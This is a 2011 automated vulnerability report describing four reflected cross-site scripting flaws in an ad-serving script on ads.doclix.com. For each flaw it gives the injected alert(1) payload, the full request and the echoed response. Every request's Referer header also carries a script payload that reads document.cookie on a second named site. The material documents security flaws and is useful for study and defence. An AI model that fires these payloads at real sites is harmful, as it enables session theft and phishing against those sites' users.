XSS, DORK, ads.doclix.com, Cross Site Scripting, CWE-79, CAPEC-86

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Sun Mar 06 09:36:13 CST 2011.


The DORK Report

Loading

1. Cross-site scripting (reflected)

1.1. http://ads.doclix.com/adserver/serve/js/fixed_size_unit.jsp [cnt parameter]

1.2. http://ads.doclix.com/adserver/serve/js/fixed_size_unit.jsp [cnt parameter]

1.3. http://ads.doclix.com/adserver/serve/js/fixed_size_unit.jsp [name of an arbitrarily supplied request parameter]

1.4. http://ads.doclix.com/adserver/serve/js/fixed_size_unit.jsp [pageId parameter]



1. Cross-site scripting (reflected)
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://ads.doclix.com/adserver/serve/js/fixed_size_unit.jsp [cnt parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ads.doclix.com
Path:   /adserver/serve/js/fixed_size_unit.jsp

Issue detail

The value of the cnt request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 72a59%3balert(1)//f3c9ae624fb was submitted in the cnt parameter. This input was echoed as 72a59;alert(1)//f3c9ae624fb in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adserver/serve/js/fixed_size_unit.jsp?pid=16789&codeId=2178&cnt=172a59%3balert(1)//f3c9ae624fb&width=468&height=60&pageId=40761649 HTTP/1.1
Host: ads.doclix.com
Proxy-Connection: keep-alive
Referer: http://pr-usa.net/index.php?888d6%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E7d79b89dc1=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Mar 2011 14:48:04 GMT
Cache-Control: max-stale=0
max-age: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/javascript;charset=UTF-8
Vary: Accept-Encoding
P3P: CP="NOI PSA PSD OUR IND UNI NAV DEM STA OTC",policyref="http://track.doclix.com/w3c/p3p.xml"
Connection: close
Content-Length: 4240


               var doclix_ads_domain = document.location.protocol == 'https:' ? document.domain == 'publisher.doclix.com' ? 'publisher.doclix.com' : 'track.doclix.com' : 'ads.doclix.com';
               var doclix_ifrm_url_172a59;alert(1)//f3c9ae624fb = document.location.protocol+'//'+doclix_ads_domain+'/adserver/serve/js/doclix_ad_ifrm.jsp?';
           
           var ad_setup_str = 'save_ad_code=Save|delete_ad_code=|ad_unit_type_lu=true|unit_standard_size=468
...[SNIP]...

1.2. http://ads.doclix.com/adserver/serve/js/fixed_size_unit.jsp [cnt parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ads.doclix.com
Path:   /adserver/serve/js/fixed_size_unit.jsp

Issue detail

The value of the cnt request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9d4ee'%3balert(1)//dc20bae6938 was submitted in the cnt parameter. This input was echoed as 9d4ee';alert(1)//dc20bae6938 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adserver/serve/js/fixed_size_unit.jsp?pid=16789&codeId=2178&cnt=19d4ee'%3balert(1)//dc20bae6938&width=468&height=60&pageId=40761649 HTTP/1.1
Host: ads.doclix.com
Proxy-Connection: keep-alive
Referer: http://pr-usa.net/index.php?888d6%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E7d79b89dc1=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Mar 2011 14:48:04 GMT
Cache-Control: max-stale=0
max-age: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/javascript;charset=UTF-8
Vary: Accept-Encoding
P3P: CP="NOI PSA PSD OUR IND UNI NAV DEM STA OTC",policyref="http://track.doclix.com/w3c/p3p.xml"
Connection: close
Content-Length: 4256


               var doclix_ads_domain = document.location.protocol == 'https:' ? document.domain == 'publisher.doclix.com' ? 'publisher.doclix.com' : 'track.doclix.com' : 'ads.doclix.com';
               var doclix_i
...[SNIP]...
ick_track != 'undefined')
               doclix_ifrm_url_19d4ee';alert(1)//dc20bae6938 += '&pub_click_track='+escape(doclix_pub_click_track);
           if (typeof doclix_category != 'undefined')
               doclix_ifrm_url_19d4ee';alert(1)//dc20bae6938 += '&doclix_cat='+escape(doclix_category);
           if (_get_setting(ad_setup_str, 'unit_ad_number')) {
               _get_setting(ad_setup_str, 'unit_ad_rotate') == 'true' ? ad_number = _get_setting(ad_setup_str,
...[SNIP]...

1.3. http://ads.doclix.com/adserver/serve/js/fixed_size_unit.jsp [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ads.doclix.com
Path:   /adserver/serve/js/fixed_size_unit.jsp

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5ef75'-alert(1)-'6b8628c2ca0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adserver/serve/js/fixed_size_unit.jsp?pid=16789&codeId=2178&cnt=1&width=468&height=60&pageId=40761649&5ef75'-alert(1)-'6b8628c2ca0=1 HTTP/1.1
Host: ads.doclix.com
Proxy-Connection: keep-alive
Referer: http://pr-usa.net/index.php?888d6%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E7d79b89dc1=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Mar 2011 14:48:05 GMT
Cache-Control: max-stale=0
max-age: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/javascript;charset=UTF-8
Vary: Accept-Encoding
P3P: CP="NOI PSA PSD OUR IND UNI NAV DEM STA OTC",policyref="http://track.doclix.com/w3c/p3p.xml"
Connection: close
Content-Length: 3837


               var doclix_ads_domain = document.location.protocol == 'https:' ? document.domain == 'publisher.doclix.com' ? 'publisher.doclix.com' : 'track.doclix.com' : 'ads.doclix.com';
               var doclix_i
...[SNIP]...
l_str = val_str.substr(0, val_str[iO]('|'));
                   return unescape(val_str);
               } else {return false;}
           }
           doclix_ifrm_url_1 += 'pid=16789&codeId=2178&cnt=1&width=468&height=60&pageId=40761649&5ef75'-alert(1)-'6b8628c2ca0=1';
           if (typeof doclix_pub_click_track != 'undefined')
               doclix_ifrm_url_1 += '&pub_click_track='+escape(doclix_pub_click_track);
           if (typeof doclix_category != 'undefined')
               doclix_ifrm_
...[SNIP]...

1.4. http://ads.doclix.com/adserver/serve/js/fixed_size_unit.jsp [pageId parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://ads.doclix.com
Path:   /adserver/serve/js/fixed_size_unit.jsp

Issue detail

The value of the pageId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6fefd'-alert(1)-'5d67139c06f was submitted in the pageId parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adserver/serve/js/fixed_size_unit.jsp?pid=16789&codeId=2178&cnt=1&width=468&height=60&pageId=407616496fefd'-alert(1)-'5d67139c06f HTTP/1.1
Host: ads.doclix.com
Proxy-Connection: keep-alive
Referer: http://pr-usa.net/index.php?888d6%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E7d79b89dc1=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Mar 2011 14:48:05 GMT
Cache-Control: max-stale=0
max-age: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/javascript;charset=UTF-8
Vary: Accept-Encoding
P3P: CP="NOI PSA PSD OUR IND UNI NAV DEM STA OTC",policyref="http://track.doclix.com/w3c/p3p.xml"
Connection: close
Content-Length: 3834


               var doclix_ads_domain = document.location.protocol == 'https:' ? document.domain == 'publisher.doclix.com' ? 'publisher.doclix.com' : 'track.doclix.com' : 'ads.doclix.com';
               var doclix_i
...[SNIP]...
al_str = val_str.substr(0, val_str[iO]('|'));
                   return unescape(val_str);
               } else {return false;}
           }
           doclix_ifrm_url_1 += 'pid=16789&codeId=2178&cnt=1&width=468&height=60&pageId=407616496fefd'-alert(1)-'5d67139c06f';
           if (typeof doclix_pub_click_track != 'undefined')
               doclix_ifrm_url_1 += '&pub_click_track='+escape(doclix_pub_click_track);
           if (typeof doclix_category != 'undefined')
               doclix_ifrm_ur
...[SNIP]...

Report generated by XSS.CX at Sun Mar 06 09:36:13 CST 2011.